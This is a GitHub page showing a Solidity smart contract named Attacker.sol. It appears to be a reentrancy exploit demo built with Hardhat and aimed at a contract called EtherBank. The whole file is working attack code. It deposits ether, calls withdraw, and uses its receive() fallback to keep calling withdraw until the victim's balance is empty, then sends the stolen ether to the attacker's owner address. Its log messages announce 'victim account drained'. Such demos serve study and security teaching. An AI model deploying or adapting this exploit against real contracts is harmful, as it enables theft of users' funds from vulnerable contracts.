-
Notifications
You must be signed in to change notification settings - Fork 0
/
Attacker.sol
41 lines (33 loc) · 1020 Bytes
/
Attacker.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// ATTACKER SMART CONTRACT
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "hardhat/console.sol";
interface IEtherBank {
function deposit() external payable;
function withdraw() external;
}
contract Attacker {
IEtherBank public immutable etherBank;
address private owner;
constructor(address etherBankAddress) {
etherBank = IEtherBank(etherBankAddress);
owner = msg.sender;
}
function attack() external payable{
etherBank.deposit{value: msg.value}();
etherBank.withdraw();
}
receive() external payable {
if (address(etherBank).balance > 0) {
console.log("reentering...");
etherBank.withdraw();
} else {
console.log('victim account drained');
payable(owner).transfer(address(this).balance);
}
}
// check the total balance of the Attacker contract
function getBalance() external view returns (uint) {
return address(this).balance;
}
}